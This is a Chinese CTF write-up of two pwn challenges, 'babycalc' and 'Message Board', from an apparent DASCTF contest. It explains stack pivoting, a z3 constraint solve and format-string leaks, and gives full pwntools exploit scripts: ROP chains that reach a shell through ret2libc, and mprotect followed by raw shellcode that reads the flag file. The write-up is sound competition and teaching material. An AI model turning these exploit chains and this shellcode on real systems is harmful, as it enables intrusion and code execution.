一共五个 PWN
,有两个零解,还有一个很少解的题目,本人菜鸡选手做不出来,估计后面复现也够呛,就记录一下比赛做出来的两个常规 PWN
。
babycalc
保护策略
漏洞所在
溢出了 rbp
末字节为 \x00
,并且往 buf
里输入数据的时候可以控制如下所有变量
结合这一行代码 *(&v3 + i) = v0;
,因为 i
是可以控制的,所以此处有一次的任意栈地址单字节写入的机会,通过 gdb
调试发现返回地址和 leave ; ret
指令的地址前两个字节都一样,所以向返回地址末尾写入 \x17
,以此来作出 leave ; ret
需要注意的是因为将 i
改大之后,下一次的循环就一定进不去了,所以这个任意栈地址写单字节只有一次机会。同时将 buf
写满,让 rbp
末尾为 0
(此时 rbp
指向了 buf
中的数据)也就意味着接下来触发栈迁移,会迁移到我们可控的地方执行 rop
上述成功的前提是要把这个方程组给解出来,先安装下 z3
这个包 ,然后用 python
跑一下即可,脚本如下
from z3 import * v3=Int('v3') v4=Int('v4') v5=Int('v5') v6=Int('v6') v7=Int('v7') v8=Int('v8') v9=Int('v9') v10=Int('v10') v11=Int('v11') v12=Int('v12') v13=Int('v13') v14=Int('v14') v15=Int('v15') v16=Int('v16') v17=Int('v17') v18=Int('v18')
s = Solver() s.add((v17 + v16 * v15) * v18 == 0x11376) s.add(v5 * v4 * v3 - v6 == 0x8D56) s.add(v3 == 0x13) s.add(v5 * 0x13 * v4 + v6 == 0x8DE2) s.add((v13 + v3 - v8) * v16 == 0x8043) s.add((v4 * v3 - v5) * v6 == 0xAC8A) s.add((v5 + v4 * v3) * v6 == 0xC986) s.add(v9 * v8 * v7 - v10 == 0xF06D) s.add(v10 * v15 + v4 + v18 == 0x4A5D) s.add(v9 * v8 * v7 + v10 == 0xF1AF) s.add((v8 * v7 - v9) * v10 == 0x8E03D) s.add(v11 == 0x32) s.add((v9 + v8 * v7) * v10 == 0x8F59F) s.add(v13 * v12 * v11 - v14 == 0x152FD3) s.add(v13 * v12 * v11 + v14 == 0x15309D) s.add((v12 * v11 - v13) * v14 == 0x9C48A) s.add((v11 * v5 - v16) * v12 == 0x4E639) s.add((v13 + v12 * v11) * v14 == 0xA6BD2) s.add(v17 * v16 * v15 - v18 == 0x8996D) s.add(v17 * v16 * v15 + v18 == 0x89973) s.add(v14 == 0x65) s.add((v16 * v15 - v17) * v18 == 0x112E6)
if s.check() == sat: print(s.model())
|
求解后的值
上述栈迁移后,执行的是栈里的 rop
,因为 rdx
是一个比较大的值,所以直接调用 read
函数向 bss
段写入数据(这个地址找高点,不然之后执行 system
函数开辟栈帧可能会覆盖一些其他指针),然后程序中是存在这个 pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
,利用这个 gadget
可以再进行一次栈迁移(因为栈里无法布置太长的 rop
链,只能迁移到 bss
段上)
迁移到 bss
段上后再打一次 ret2libc
即可
注意: 因为栈随机化的原因,rbp
的末尾覆盖为 \x00
后,不是一定能指向 rop
链的开始部分,而是在一个区域内随机的,所以在 rop
上面写满 ret
指令,滑到 rop
链上成功的概率会大一点。
放几张调试时的图片
下面是执行到 puts("good done")
时,栈中的情况,可以看到返回地址已经变成了 nop ; leave ; ret
的地址, rbp
指向了上面 ret
的部分,而 ret
下面就是 rop链
,该 rop
链是向 bss
段写入 ret2libc
的 payload
第二次栈迁移
执行 puts
函数泄露 libc
地址,此时栈已经迁移到了 bss
段上
最后触发 system
函数,获取 shell
EXP
tools源码
from tools import * context.log_level='debug' context.arch='amd64' p,e,libc=load('b',"tcp.cloud.dasctf.com:21323")
v3 = 19 v11 = 50 v14 = 101 v18 = 3 v10 = 161 v12 = 131 v5 = 53 v16 = 199 v7 = 55 v9 = 17 v15 = 118 v17 = 24 v6 = 70 v4 = 36 v13 = 212 v8 = 66
pop_rdi=0x0000000000400ca3 pop_rsi_r15=0x0000000000400ca1 bss_addr=0x602510 pop_rsp_r13_r14_r15=0x0000000000400c9d ret=0x400C3E
rop=p64(pop_rdi)+p64(0) rop+=p64(pop_rsi_r15)+p64(bss_addr)+p64(0) rop+=p64(e.plt['read']) rop+=p64(pop_rsp_r13_r14_r15) rop+=p64(bss_addr-0x18)
pay = b'\x32\x33'+ b'\x00'*(86-0x40) pay+=p64(ret)*0xf pay+= rop
pay += p8(v3) pay += p8(v4) pay += p8(v5) pay += p8(v6) pay += p8(v7) pay += p8(v8) pay += p8(v9) pay += p8(v10) pay += p8(v11) pay += p8(v12) pay += p8(v13) pay += p8(v14) pay += p8(v15) pay += p8(v16) pay += p8(v17) pay += p8(v18) pay+=b'\x00'*(0x100-0xe0-4)+b'\x38\x00\x00\x00'
for i in range(15): p.sendafter(':',b'1\n')
debug(p,0x400BA6) p.sendafter(b':', pay)
pause() rop2=p64(pop_rdi)+p64(e.got['puts']) rop2+=p64(e.plt['puts']) rop2+=p64(pop_rdi)+p64(0) rop2+=p64(pop_rsi_r15)+p64(bss_addr+0x48)+p64(0) rop2+=p64(e.plt['read']) p.sendline(rop2)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base=puts_addr-libc.symbols['puts'] log_addr('puts_addr') log_addr('libc_base') sys_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base +next(libc.search(b"/bin/sh")) rop1=p64(0x400BB8)+p64(pop_rdi)+p64(bin_sh_addr)+p64(sys_addr) pause() p.sendline(rop1) p.interactive()
|
Message Board
这个题格式化字符串漏洞泄露栈地址和 libc
地址,然后栈迁移再打 mprotect
函数和 orw
的 shellcode
即可, 比较简单就不写过程了
EXP
tools源码
from tools import * context.log_level='debug' context.arch='amd64' p,e,libc=load("pwn1","tcp.cloud.dasctf.com:20516") payload="%p%31$p"
p.sendlineafter("Welcome to DASCTF message board, please leave your name:\n",payload) p.recvuntil("Hello, ") p.recvuntil('\x78') stack_addr=int(p.recv(12),16) p.recvuntil('\x78') libc_base=int(p.recv(12),16)-0x24083 log_addr('stack_addr') log_addr('libc_base') debug(p,0x40138C) pop_rdi=0x0000000000401413 pop_rsi_r15=0x0000000000401411 pop_rdx_ret=libc_base+0x0000000000142c92 rop=p64(pop_rdi)+p64(stack_addr&0xfffffffffff000) rop+=p64(pop_rsi_r15)+p64(0x1000)+p64(0) rop+=p64(pop_rdx_ret)+p64(7)
rop+=p64(libc_base+libc.symbols['mprotect']) rop+=p64(stack_addr+0x58) rop+=b"\x6A\x00\x5F\x6A\x03\x58\x0F\x05\x48\xBE\x2F\x66\x6C\x61\x67\x00\x00\x00\x56\x54\x5E\x6A\x00\x5F\x6A\x00\x5A\x68\x01\x01\x00\x00\x58\x0F\x05\x50\x5F\x54\x5E\x6A\x50\x5A\x6A\x00\x58\x0F\x05\x6A\x01\x5F\x54\x5E\x6A\x50\x5A\x6A\x01\x58\x0F\x05" rop+=b'a'*(0xb0-60-0x48) rop+=p64(stack_addr+0x10-8) rop+=p64(0x4013A2) p.sendlineafter("Now, please say something to DASCTF:\n",rop) p.interactive()
|